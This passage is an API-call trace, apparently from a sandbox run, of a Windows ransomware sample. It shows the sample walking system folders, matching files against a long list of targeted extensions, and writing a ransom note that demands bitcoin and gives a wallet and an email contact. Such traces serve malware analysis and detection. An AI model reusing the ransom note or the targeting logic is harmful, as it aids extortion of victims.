(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.accdb") returned 0 [0118.864] lstrlenA (lpString="*.accdb") returned 7 [0118.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.odb") returned 0 [0118.864] lstrlenA (lpString="*.odb") returned 5 [0118.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.java") returned 0 [0118.864] lstrlenA (lpString="*.java") returned 6 [0118.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.asm") returned 0 [0118.864] lstrlenA (lpString="*.asm") returned 5 [0118.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.pfx") returned 0 [0118.865] lstrlenA (lpString="*.pfx") returned 5 [0118.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.pem") returned 0 [0118.865] lstrlenA (lpString="*.pem") returned 5 [0118.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.p12") returned 0 [0118.865] lstrlenA (lpString="*.p12") returned 5 [0118.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.gpg") returned 0 [0118.865] lstrlenA (lpString="*.gpg") returned 5 [0118.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.vsd") returned 0 [0118.865] lstrlenA (lpString="*.vsd") returned 5 [0118.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.odg") returned 0 [0118.865] lstrlenA (lpString="*.odg") returned 5 [0118.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.raw") returned 0 [0118.865] lstrlenA (lpString="*.raw") returned 5 [0118.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.nef") returned 0 [0118.865] lstrlenA (lpString="*.nef") returned 5 [0118.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.svg") returned 0 [0118.865] lstrlenA (lpString="*.svg") returned 5 [0118.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.psd") returned 0 [0118.865] lstrlenA (lpString="*.psd") returned 5 [0118.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.vmx") returned 0 [0118.865] lstrlenA (lpString="*.vmx") returned 5 [0118.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0118.865] lstrlenA (lpString="*.vmdk") returned 6 [0118.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.vdi") returned 0 [0118.865] lstrlenA (lpString="*.vdi") returned 5 [0118.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.lay6") returned 0 [0118.866] lstrlenA (lpString="*.lay6") returned 6 [0118.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0118.866] lstrlenA (lpString="*.mpeg") returned 6 [0118.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.djvu") returned 0 [0118.866] lstrlenA (lpString="*.djvu") returned 6 [0118.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.tiff") returned 0 [0118.866] lstrlenA (lpString="*.tiff") returned 6 [0118.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.backup") returned 0 [0118.866] lstrlenA (lpString="*.backup") returned 8 [0118.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.pdf") returned 0 [0118.866] lstrlenA (lpString="*.pdf") returned 5 [0118.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.cert") returned 0 [0118.866] lstrlenA (lpString="*.cert") returned 6 [0118.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.docm") returned 0 [0118.866] lstrlenA (lpString="*.docm") returned 6 [0118.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0118.866] lstrlenA (lpString="*.xlsm") returned 6 [0118.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.dwg") returned 0 [0118.866] lstrlenA (lpString="*.dwg") returned 5 [0118.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.nd") returned 0 [0118.866] lstrlenA (lpString="*.nd") returned 4 [0118.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.tlg") returned 0 [0118.867] lstrlenA (lpString="*.tlg") returned 5 [0118.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.lgb") returned 0 [0118.867] lstrlenA (lpString="*.lgb") returned 5 [0118.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.mov") returned 0 [0118.867] lstrlenA (lpString="*.mov") returned 5 [0118.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.xdw") returned 0 [0118.867] lstrlenA (lpString="*.xdw") returned 5 [0118.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.ods") returned 0 [0118.867] lstrlenA (lpString="*.ods") returned 5 [0118.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.wav") returned 0 [0118.867] lstrlenA (lpString="*.wav") returned 5 [0118.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.mp3") returned 0 [0118.867] lstrlenA (lpString="*.mp3") returned 5 [0118.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.aiff") returned 0 [0118.867] lstrlenA (lpString="*.aiff") returned 6 [0118.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.flac") returned 0 [0118.867] lstrlenA (lpString="*.flac") returned 6 [0118.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.m4a") returned 0 [0118.867] lstrlenA (lpString="*.m4a") returned 5 [0118.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.csv") returned 0 [0118.868] lstrlenA (lpString="*.csv") returned 5 [0118.868] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a0ef9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a0ef9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a0ef9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Design.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0118.868] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0118.868] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a0c9870, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a0ef9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a0ef9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="968b53e76ae324cf4a58524d996d245d", cAlternateFileName="968B53~1")) returned 0 [0118.868] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0118.868] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa74f9f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa74f9f90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa74f9f90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Device", cAlternateFileName="SYSTEM~1.DEV")) returned 1 [0118.868] lstrcmpA (lpString1=".", lpString2="System.Device") returned -1 [0118.868] lstrcmpA (lpString1="..", lpString2="System.Device") returned -1 [0118.869] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Device" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device" [0118.869] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device") returned 60 [0118.869] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa74f9f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa74f9f90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa74f9f90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0118.896] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0118.896] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa74f9f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa74f9f90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa74f9f90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.896] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0118.896] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0118.896] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa74f9f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa74f9f90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa74f9f90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bedaa2bc115a73f16ec9853ff479acc7", cAlternateFileName="BEDAA2~1")) returned 1 [0118.897] lstrcmpA (lpString1=".", lpString2="bedaa2bc115a73f16ec9853ff479acc7") returned -1 [0118.897] lstrcmpA (lpString1="..", lpString2="bedaa2bc115a73f16ec9853ff479acc7") returned -1 [0118.897] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\", lpString2="bedaa2bc115a73f16ec9853ff479acc7" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7" [0118.897] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7") returned 93 [0118.897] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa74f9f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa74f9f90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa74f9f90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0118.898] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0118.898] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa74f9f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa74f9f90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa74f9f90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.898] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0118.898] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0118.898] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa74f9f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa74f9f90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa74f9f90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x22e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Device.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0118.898] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.898] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\" [0118.898] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\") returned="" [0118.898] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\HOW TO DECRYPT FILES.txt" [0118.899] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.device\\bedaa2bc115a73f16ec9853ff479acc7\\how to decrypt files.txt")) returned 0xffffffff [0118.899] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.device\\bedaa2bc115a73f16ec9853ff479acc7\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0118.919] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0118.919] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0118.921] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0118.921] CloseHandle (hObject=0x90) returned 1 [0118.921] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\", lpString2="System.Device.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll" [0118.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.ems") returned 0 [0118.922] lstrlenA (lpString="*.ems") returned 5 [0118.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.db") returned 0 [0118.922] lstrlenA (lpString="*.db") returned 4 [0118.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.dbf") returned 0 [0118.922] lstrlenA (lpString="*.dbf") returned 5 [0118.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.myox") returned 0 [0118.922] lstrlenA (lpString="*.myox") returned 6 [0118.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.myo") returned 0 [0118.922] lstrlenA (lpString="*.myo") returned 5 [0118.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.qbw") returned 0 [0118.922] lstrlenA (lpString="*.qbw") returned 5 [0118.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.qbb") returned 0 [0118.922] lstrlenA (lpString="*.qbb") returned 5 [0118.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.qbm") returned 0 [0118.922] lstrlenA (lpString="*.qbm") returned 5 [0118.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.qbo") returned 0 [0118.923] lstrlenA (lpString="*.qbo") returned 5 [0118.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.qbx") returned 0 [0118.923] lstrlenA (lpString="*.qbx") returned 5 [0118.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.qba") returned 0 [0118.923] lstrlenA (lpString="*.qba") returned 5 [0118.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.qby") returned 0 [0118.923] lstrlenA (lpString="*.qby") returned 5 [0118.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.qbj") returned 0 [0118.923] lstrlenA (lpString="*.qbj") returned 5 [0118.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.ofx") returned 0 [0118.923] lstrlenA (lpString="*.ofx") returned 5 [0118.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.qif") returned 0 [0118.923] lstrlenA (lpString="*.qif") returned 5 [0118.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.mye") returned 0 [0118.923] lstrlenA (lpString="*.mye") returned 5 [0118.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.mbox") returned 0 [0118.923] lstrlenA (lpString="*.mbox") returned 6 [0118.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.eml") returned 0 [0118.924] lstrlenA (lpString="*.eml") returned 5 [0118.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.pst") returned 0 [0118.924] lstrlenA (lpString="*.pst") returned 5 [0118.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.ost") returned 0 [0118.924] lstrlenA (lpString="*.ost") returned 5 [0118.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.idx") returned 0 [0118.924] lstrlenA (lpString="*.idx") returned 5 [0118.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.dbx") returned 0 [0118.924] lstrlenA (lpString="*.dbx") returned 5 [0118.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.sql") returned 0 [0118.924] lstrlenA (lpString="*.sql") returned 5 [0118.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.mdb") returned 0 [0118.924] lstrlenA (lpString="*.mdb") returned 5 [0118.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.fdb") returned 0 [0118.924] lstrlenA (lpString="*.fdb") returned 5 [0118.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.wab") returned 0 [0118.924] lstrlenA (lpString="*.wab") returned 5 [0118.925] 